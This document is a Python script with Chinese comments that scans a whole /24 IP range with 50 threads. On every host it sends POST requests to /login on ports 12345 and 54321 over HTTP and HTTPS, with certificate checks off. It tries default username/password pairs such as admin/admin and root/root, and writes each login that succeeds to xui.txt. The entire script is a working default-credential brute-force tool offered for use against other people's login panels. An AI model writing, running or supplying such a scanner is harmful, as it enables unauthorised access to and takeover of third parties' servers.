python3 -m pip install requests

import requests
import ipaddress
import logging
from concurrent.futures import ThreadPoolExecutor
from tqdm import tqdm

# 配置日志
logging.basicConfig(
    level=logging.INFO,
    format='%(asctime)s - %(levelname)s - %(message)s',
    handlers=[
        logging.FileHandler('scan_debug.log'),
        logging.StreamHandler()
    ]
)

print('''
本程序将扫描IP段的12345和54321端口的/login接口
尝试多种用户名密码组合，成功的结果将保存到xui.txt
''')

# 配置信息
CREDENTIALS = [
    {'username': 'admin', 'password': 'admin'},
    {'username': 'root', 'password': 'root'},
    {'username': 'test', 'password': 'test'},
    {'username': 'user', 'password': 'user'},
    {'username': 'admin', 'password': '123456'},
    {'username': 'admin', 'password': 'password'},
]

PORTS = [12345, 54321]
TIMEOUT = 3  # 严格3秒超时
THREADS = 50  # 并发线程数

successful_logins = []

def generate_ip_range(base_ip):
    """生成IP地址范围"""
    try:
        network = ipaddress.ip_network(f"{base_ip}/24", strict=False) # 掩码
        return [str(ip) for ip in network.hosts()]
    except ValueError as e:
        logging.error(f"IP地址格式错误: {e}")
        return []

def test_login(ip, port, credential):
    """测试登录接口"""
    results = []
    
    for protocol in ['http', 'https']:
        url = f"{protocol}://{ip}:{port}/login"
        try:
            logging.debug(f"尝试: {url} {credential['username']}/{credential['password']}")
            
            if protocol == 'https':
                response = requests.post(url, data=credential, timeout=TIMEOUT, verify=False)
            else:
                response = requests.post(url, data=credential, timeout=TIMEOUT)
            
            logging.debug(f"响应: {url} 状态码: {response.status_code}")
            
            if response.status_code == 200:
                try:
                    response_data = response.json()
                    if isinstance(response_data, dict) and response_data.get("success"):
                        result = {
                            'ip': ip,
                            'port': port,
                            'protocol': protocol,
                            'username': credential['username'],
                            'password': credential['password']
                        }
                        logging.info(f"登录成功: {result}")
                        return result
                except ValueError as e:
                    logging.debug(f"JSON解析失败: {url} - {e}")
                    
        except requests.exceptions.Timeout:
            logging.debug(f"请求超时: {url} (超过{TIMEOUT}秒)")
            break  # 超时后不再尝试另一种协议
            
        except requests.exceptions.RequestException as e:
            logging.debug(f"请求失败: {url} - {str(e)}")
            continue  # 继续尝试另一种协议
            
    return None

def scan_ip(ip):
    """扫描单个IP的所有端口和凭证"""
    results = []
    for port in PORTS:
        for cred in CREDENTIALS:
            try:
                result = test_login(ip, port, cred)
                if result:
                    results.append(result)
                    tqdm.write(f"成功: {ip}:{port} | {cred['username']}/{cred['password']}")
            except Exception as e:
                logging.error(f"扫描异常 {ip}:{port} - {str(e)}")
    return results

def main():
    base_ip = input("请输入IP段 (如 192.168.1.0): ").strip()
    ip_list = generate_ip_range(base_ip)
    
    if not ip_list:
        print("无效的IP地址格式，请使用类似 192.168.1.0 的格式")
        return
    
    logging.info(f"开始扫描 {len(ip_list)} 个IP地址...")
    
    with ThreadPoolExecutor(max_workers=THREADS) as executor:
        results = list(tqdm(
            executor.map(scan_ip, ip_list),
            total=len(ip_list),
            unit="IP",
            desc="扫描进度"
        ))
    
    # 整理结果
    successful_logins = [result for sublist in results for result in sublist if result]
    
    # 保存结果到文件
    if successful_logins:
        with open("xui.txt", "w") as f:
            for login in successful_logins:
                line = f"{login['ip']}:{login['port']} | {login['protocol']} | {login['username']}:{login['password']}\n"
                f.write(line)
        
        print("\n成功的登录尝试:")
        for login in successful_logins:
            print(f"IP: {login['ip']}:{login['port']} | 协议: {login['protocol']} | 用户名: {login['username']} | 密码: {login['password']}")
        print(f"\n共找到 {len(successful_logins)} 个有效登录，结果已保存到 xui.txt")
    else:
        print("\n没有找到有效的登录")
    
    logging.info("扫描完成")
main()